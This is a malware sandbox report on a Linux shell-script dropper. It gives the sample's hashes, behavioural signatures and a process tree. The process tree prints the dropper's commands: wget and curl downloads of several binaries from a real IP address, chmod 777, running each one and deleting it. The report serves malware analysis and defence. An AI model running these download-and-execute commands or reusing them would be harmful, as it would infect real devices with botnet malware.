Analysis
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max time kernel
7s -
max time network
34s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28/10/2024, 01:26
Static task
static1
Behavioral task
behavioral1
Sample
c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
Resource
debian9-mipsel-20240226-en
General
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Target
c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
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Size
10KB
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MD5
8e383752ec72afba2c859b318be45d80
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SHA1
406891ba5abdc3f69ab4637a118e82d5329231be
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SHA256
c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45
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SHA512
5b50cd38698c517840cddfe2cc6d2c67d8a2591222a28b66027ede92045d8608c70ba1692fa072a90ab7d0a6e4d4bc757128a3aed20ed3644b91ecc3de124232
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SSDEEP
192:WXvUAsXNGHa2JwIYDVpmqOe4qS5na2JwI5qOe4qS7aXvUAsXi:WXvUDXNGHa2JwIYDVpmqOBqS5na2JwI+
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 692 chmod 704 chmod 726 chmod 750 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a 693 abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a /tmp/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux 705 MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux /tmp/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC 727 xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC /tmp/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e 752 mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e -
Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC curl File opened for modification /tmp/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e curl File opened for modification /tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a curl File opened for modification /tmp/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux curl
Processes
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/tmp/c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh/tmp/c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh1⤵PID:661
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/bin/rm/bin/rm bins.sh2⤵PID:663
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/usr/bin/wgetwget http://87.120.84.230/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a2⤵PID:668
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/usr/bin/curlcurl -O http://87.120.84.230/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:682
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a2⤵PID:689
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/bin/chmodchmod 777 abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a2⤵
- File and Directory Permissions Modification
PID:692
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/tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a./abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a2⤵
- Executes dropped EXE
PID:693
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/bin/rmrm abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a2⤵PID:694
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/usr/bin/wgetwget http://87.120.84.230/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux2⤵PID:695
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/usr/bin/curlcurl -O http://87.120.84.230/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:696
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux2⤵PID:699
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/bin/chmodchmod 777 MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux2⤵
- File and Directory Permissions Modification
PID:704
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/tmp/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux./MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux2⤵
- Executes dropped EXE
PID:705
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/bin/rmrm MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux2⤵PID:707
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/usr/bin/wgetwget http://87.120.84.230/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC2⤵PID:708
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/usr/bin/curlcurl -O http://87.120.84.230/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:714
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC2⤵PID:720
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/bin/chmodchmod 777 xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC2⤵
- File and Directory Permissions Modification
PID:726
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/tmp/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC./xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC2⤵
- Executes dropped EXE
PID:727
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/bin/rmrm xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC2⤵PID:728
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/usr/bin/wgetwget http://87.120.84.230/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e2⤵PID:730
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/usr/bin/curlcurl -O http://87.120.84.230/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:736
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e2⤵PID:743
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/bin/chmodchmod 777 mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e2⤵
- File and Directory Permissions Modification
PID:750
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/tmp/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e./mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e2⤵
- Executes dropped EXE
PID:752
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/bin/rmrm mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e2⤵PID:753
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/usr/bin/wgetwget http://87.120.84.230/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp2⤵PID:754
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/usr/bin/curlcurl -O http://87.120.84.230/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp2⤵PID:760
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97